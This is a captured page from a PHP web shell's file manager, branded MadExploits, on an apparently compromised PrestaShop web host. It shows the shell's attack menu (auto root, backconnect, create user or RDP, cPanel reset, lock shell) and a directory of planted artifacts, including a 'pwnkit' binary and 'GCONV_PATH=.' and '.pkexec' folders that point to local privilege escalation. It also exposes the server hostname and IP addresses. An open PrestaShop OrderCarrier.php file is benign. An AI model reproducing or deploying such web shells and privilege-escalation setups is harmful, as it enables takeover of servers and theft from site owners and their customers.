Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
classes /
order /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Order.php
98.83
KB
-rw----r--
OrderCarrier.php
6.76
KB
-rw----r--
OrderCartRule.php
2.73
KB
-rw----r--
OrderDetail.php
35.73
KB
-rw----r--
OrderDiscount.php
1.89
KB
-rw----r--
OrderHistory.php
29.39
KB
-rw----r--
OrderInvoice.php
33.6
KB
-rw----r--
OrderMessage.php
2.51
KB
-rw----r--
OrderPayment.php
5.03
KB
-rw----r--
OrderReturn.php
11.1
KB
-rw----r--
OrderReturnState.php
2.29
KB
-rw----r--
OrderSlip.php
23.36
KB
-rw----r--
OrderState.php
6.52
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : OrderCarrier.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ class OrderCarrierCore extends ObjectModel { /** @var int */ public $id_order_carrier; /** @var int */ public $id_order; /** @var int */ public $id_carrier; /** @var int */ public $id_order_invoice; /** @var float */ public $weight; /** @var float */ public $shipping_cost_tax_excl; /** @var float */ public $shipping_cost_tax_incl; /** @var string */ public $tracking_number; /** @var string Object creation date */ public $date_add; /** * @see ObjectModel::$definition */ public static $definition = [ 'table' => 'order_carrier', 'primary' => 'id_order_carrier', 'fields' => [ 'id_order' => ['type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true], 'id_carrier' => ['type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true], 'id_order_invoice' => ['type' => self::TYPE_INT, 'validate' => 'isUnsignedId'], 'weight' => ['type' => self::TYPE_FLOAT, 'validate' => 'isFloat'], 'shipping_cost_tax_excl' => ['type' => self::TYPE_FLOAT, 'validate' => 'isFloat'], 'shipping_cost_tax_incl' => ['type' => self::TYPE_FLOAT, 'validate' => 'isFloat'], 'tracking_number' => ['type' => self::TYPE_STRING, 'validate' => 'isTrackingNumber'], 'date_add' => ['type' => self::TYPE_DATE, 'validate' => 'isDate'], ], ]; protected $webserviceParameters = [ 'objectMethods' => ['update' => 'updateWs'], 'fields' => [ 'id_order' => ['xlink_resource' => 'orders'], 'id_carrier' => ['xlink_resource' => 'carriers'], ], ]; /** * @param Order $order Required * * @return bool */ public function sendInTransitEmail($order) { $orderLanguageId = (int) $order->getAssociatedLanguage()->getId(); $customer = new Customer((int) $order->id_customer); $carrier = new Carrier((int) $order->id_carrier, $orderLanguageId); $address = new Address((int) $order->id_address_delivery); if (!Validate::isLoadedObject($customer)) { throw new PrestaShopException('Can\'t load Customer object'); } if (!Validate::isLoadedObject($carrier)) { throw new PrestaShopException('Can\'t load Carrier object'); } if (!Validate::isLoadedObject($address)) { throw new PrestaShopException('Can\'t load Address object'); } $products = $order->getCartProducts(); $link = Context::getContext()->link; $metadata = ''; foreach ($products as $product) { $prod_obj = new Product((int) $product['product_id']); //try to get the first image for the purchased combination $img = $prod_obj->getCombinationImages($orderLanguageId); $link_rewrite = $prod_obj->link_rewrite[$orderLanguageId]; $combination_img = $img[$product['product_attribute_id']][0]['id_image']; if ($combination_img != null) { $img_url = $link->getImageLink($link_rewrite, $combination_img, 'large_default'); } else { //if there is no combination image, then get the product cover instead $img = $prod_obj->getCover($prod_obj->id); $img_url = $link->getImageLink($link_rewrite, $img['id_image']); } $prod_url = $prod_obj->getLink(); $metadata .= "\n" . '<div itemprop="itemShipped" itemscope itemtype="http://schema.org/Product">'; $metadata .= "\n" . ' <meta itemprop="name" content="' . htmlspecialchars($product['product_name']) . '"/>'; $metadata .= "\n" . ' <link itemprop="image" href="' . $img_url . '"/>'; $metadata .= "\n" . ' <link itemprop="url" href="' . $prod_url . '"/>'; $metadata .= "\n" . '</div>'; } $orderLanguage = new Language((int) $orderLanguageId); $templateVars = [ '{followup}' => str_replace('@', $this->tracking_number, $carrier->url), '{firstname}' => $customer->firstname, '{lastname}' => $customer->lastname, '{id_order}' => $order->id, '{shipping_number}' => $this->tracking_number, '{order_name}' => $order->getUniqReference(), '{carrier}' => $carrier->name, '{address1}' => $address->address1, '{country}' => $address->country, '{postcode}' => $address->postcode, '{city}' => $address->city, '{meta_products}' => $metadata, ]; if (@Mail::Send( $orderLanguageId, 'in_transit', $this->trans( 'Package in transit', [], 'Emails.Subject', $orderLanguage->locale ), $templateVars, $customer->email, $customer->firstname . ' ' . $customer->lastname, null, null, null, null, _PS_MAIL_DIR_, true, (int) $order->id_shop )) { return true; } else { return false; } } public function updateWs() { if (!parent::update()) { return false; } $sendemail = (bool) Tools::getValue('sendemail', false); if ($sendemail) { $order = new Order((int) $this->id_order); if (!Validate::isLoadedObject($order)) { throw new PrestaShopException('Can\'t load Order object'); } if (!$this->sendInTransitEmail($order)) { return false; } } return true; } }
Close